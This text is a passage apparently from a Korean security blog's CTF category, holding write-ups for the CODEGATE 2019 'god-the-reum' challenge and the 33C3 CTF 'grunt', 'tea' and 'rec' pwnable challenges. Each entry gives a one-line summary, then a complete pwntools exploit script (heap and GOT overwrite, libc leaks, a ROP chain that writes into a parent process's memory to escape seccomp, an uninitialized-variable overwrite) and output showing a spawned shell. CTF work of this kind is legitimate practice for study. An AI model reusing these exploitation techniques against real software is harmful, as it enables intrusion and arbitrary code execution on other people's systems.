cmd_create(0x50) # 3

cmd_new_eth(3, p64(libc_one_gadget))
cmd_withdraw(2, 0x50)
ru('withdraw? : ')

s.interactive()
s.close()


$ python exploit.py
[+] Starting local process './god-the-reum': pid 2779
[*] Switching to interactive mode
$ id

uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF' 카테고리의 다른 글

CODEGATE 2019 QUAL - cg_casino  (1) 2019.01.31
CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29
33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14

WRITTEN BY
pwn3r
포기하지 말자

트랙백  0 , 댓글  0개가 달렸습니다.
secret

33C3 CTF - grunt

CTF 2018.12.14 18:54

Category : pwnable


Summary : lua script, oob, integer overflow



Exploit

#!/usr/bin/python

from pwn import *
import sys

s = process('./grunt')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
rg = s.recvregex
sl = s.sendline
ss = s.send

script = '''
-- Lukachu
-- Hannobat
-- Andyball
-- Airmackly

function trigger(obj)
pokemon.swapAttack(obj, 0, 1) -- 1 2
pokemon.duplicateAttack(obj) -- 1 2 2
end

local strlen_got = 0x626070

for i=0,5 do
pokemon.new("dummy")
end
mon = pokemon.new("pwn3r")
target = pokemon.new("overwriteme")

pokemon.addAttack(mon, trigger)
pokemon.fight(mon, "Airmackly")

pokemon.doDamage(target, 0x100000064 - strlen_got)
pokemon.swapAttack(mon, 0x10, 0x12)
-- gdb-peda$ x/8wx 0x1981ed8
-- 0x1981ed8: 0x00000064 0x00000000 0x019825f0 0x00000000

leak = pokemon.getName(target) .. "\\x00\\x00"
libc_base = string.unpack("<I8", leak) - 0x8b720
libc_system = libc_base + 0x45390

pokemon.setName(target, string.pack("<I8", libc_system))
pokemon.setName(target, "/bin/sh;")

return libc_base
'''
s.send(script.ljust(0x1000, '\x00'))

s.interactive()
s.close()



$ python ex.py 
[+] Starting local process './grunt': pid 8174
>>>
[*] Switching to interactive mode
pwn3r is stopped by a wild Airmackly!

Round 1
pwn3r hits Airmackly for 0 damage!
Airmackly uses TROUTSLAP!

Round 2
pwn3r hits Airmackly for 0 damage!
Airmackly uses INCAPACITATE!

Round 3
pwn3r hits Airmackly for 0 damage!
Airmackly uses INCAPACITATE!
The fight has ended

$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)


'CTF' 카테고리의 다른 글

CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29
33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14

WRITTEN BY
pwn3r
포기하지 말자

트랙백  0 , 댓글  0개가 달렸습니다.
secret

33C3 CTF - tea

CTF 2018.12.14 18:53

Category : pwnable


Summary : bypass seccomp, close(0x8000000000000002), overwrite parent process memory



Exploit

#!/usr/bin/python

from pwn import *

s = process('./tea')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
rg = s.recvregex
sl = s.sendline
ss = s.send

def parse_maps(maps):
res = {}
get_base = lambda x : int(x.split('-')[0], 16)
for line in maps.splitlines():
if 'r-x' in line and 'libc' in line:
res['libc_base'] = get_base(line)
res['child_stack'] = get_base(line) - 0x100000000000
return res

def get_ppid(status):
for line in status.splitlines():
if line.startswith('PPid:'):
return int(line[6:])


def step(filename, count, done=False, stdin=False, data='', exp=False):
ru('access?\n')
sl('r')
ru('filename?\n')
sl(filename)
ru('lseek?\n')
sl(str(0))
ru('count?\n')
sl(count)
if stdin:
time.sleep(0.3)
ss(data)
if exp:
return None
length = int(rg('read \d+ bytes\n').split(' ')[1])
res = rr(length)
ru('quit? (y/n)')
sl('y' if done else 'n')
return res

ppid = get_ppid(step('/proc/self/status', str(0x1000)))
maps = parse_maps(step('/proc/self/maps', str(0x1000)))
libc_system = maps['libc_base'] + 0x45390
libc_argv = maps['libc_base'] + 0x3c92f8
# gadgets
libc_sh_string = maps['libc_base'] + 0x0011e70
libc_open = maps['libc_base'] + 0xf7030
libc_write = maps['libc_base'] + 0xf72b0
libc_close = maps['libc_base'] + 0xf78e0
libc_clone_fini = maps['libc_base'] + 0x10741d
libc_lseek = maps['libc_base'] + 0x107440
libc_pop_rdi = maps['libc_base'] + 0x00021102
libc_pop_rsi = maps['libc_base'] + 0x000202e8
libc_pop_rdx = maps['libc_base'] + 0x001150a6

leak = step('/proc/self/fd/0', str(-0x80000000), False, stdin=True,
data='a'*0x28 + p64(0) + p64(3) + p64(libc_argv))
stack = u64(leak[0:8])
parent_waitpid_retaddr = stack - 0x130

leak = step('/proc/self/fd/0', str(-0x80000000), False, stdin=True,
data
='a'*0x28 + p64(0) + p64(3) + p64(stack - 0x110))
child_read_retaddr = maps['child_stack'] + u64(leak[0:8]) - 0x68

pay = ''
pay += p64(libc_pop_rdi)
pay += p64(0x8000000000000001) # 1 (stdout)
pay += p64(libc_close)

pay += p64(libc_pop_rdi)
pay += p64(child_read_retaddr + 8 * 23 + 8 * 3)
pay += p64(libc_pop_rsi)
pay += p64(2)
pay += p64(libc_open)

pay += p64(libc_pop_rdi)
pay += p64(1)
pay += p64(libc_pop_rsi)
pay += p64(parent_waitpid_retaddr)
pay += p64(libc_pop_rdx)
pay += p64(0)
pay += p64(libc_lseek)

pay += p64(libc_pop_rdi)
pay += p64(1)
pay += p64(libc_pop_rsi)
pay += p64(child_read_retaddr + 8 * 23)
pay += p64(libc_pop_rdx)
pay += p64(8 * 3)
pay += p64(libc_write)

pay += p64(libc_clone_fini)

pay += p64(libc_pop_rdi)
pay += p64(libc_sh_string)
pay += p64(libc_system)
pay += '/proc/{}/mem\x00'.format(ppid)

step('/proc/self/fd/0', str(-0x80000000).ljust(0x28, '\x00') + p64(0) + p64(3) + p64(child_read_retaddr),
False
, stdin=True, data=pay, exp=True)


s.interactive()
s.close()


$ python ex.py 
[+] Starting local process './tea': pid 2211
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)


'CTF' 카테고리의 다른 글

CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29
33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06

WRITTEN BY
pwn3r
포기하지 말자

트랙백  0 , 댓글  0개가 달렸습니다.
secret

33C3 CTF - rec

CTF 2018.12.14 18:53

Category : pwnable


Summary : uninitialized variable



Exploit

#!/usr/bin/python

from pwn import *


def cmd_polish_sum(nums):
ru('> ')
sl(str(2))
ru('Operator: ')
sl('S')
for i in range(len(nums)):
ru('Operand: ')
sl(str(nums[i]))
ru('Operand: ')
sl('.')
rl()

def cmd_sign(num):
ru('> ')
sl(str(5))
sl(str(num))

def cmd_read_note():
ru('> ')
sl(str(1))
ru('Your note: ')
note = rl(False)
return note


s = process('./rec')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

leak = cmd_read_note()
pie_base = u32(leak[4:8]) - 0x6fb
sh_string = pie_base + 0x10cc
libc_base = u32(leak[8:12]) - 0x1b0d60
libc_system = libc_base + 0x3a940
print hex(libc_base)

pay = [0 for i in range((0x380 - 0x24 - 8 - 0x44 + 8) / 8)]
pay.append(libc_system - 0x100000000)
pay.append(sh_string)
cmd_polish_sum(pay)
cmd_sign(0)

s.interactive()
s.close()


$ python ex.py 
[+] Starting local process './rec': pid 129954
0xf7d4b000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



'CTF' 카테고리의 다른 글

33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06

WRITTEN BY
pwn3r
포기하지 말자

트랙백  0 , 댓글  0개가 달렸습니다.
secret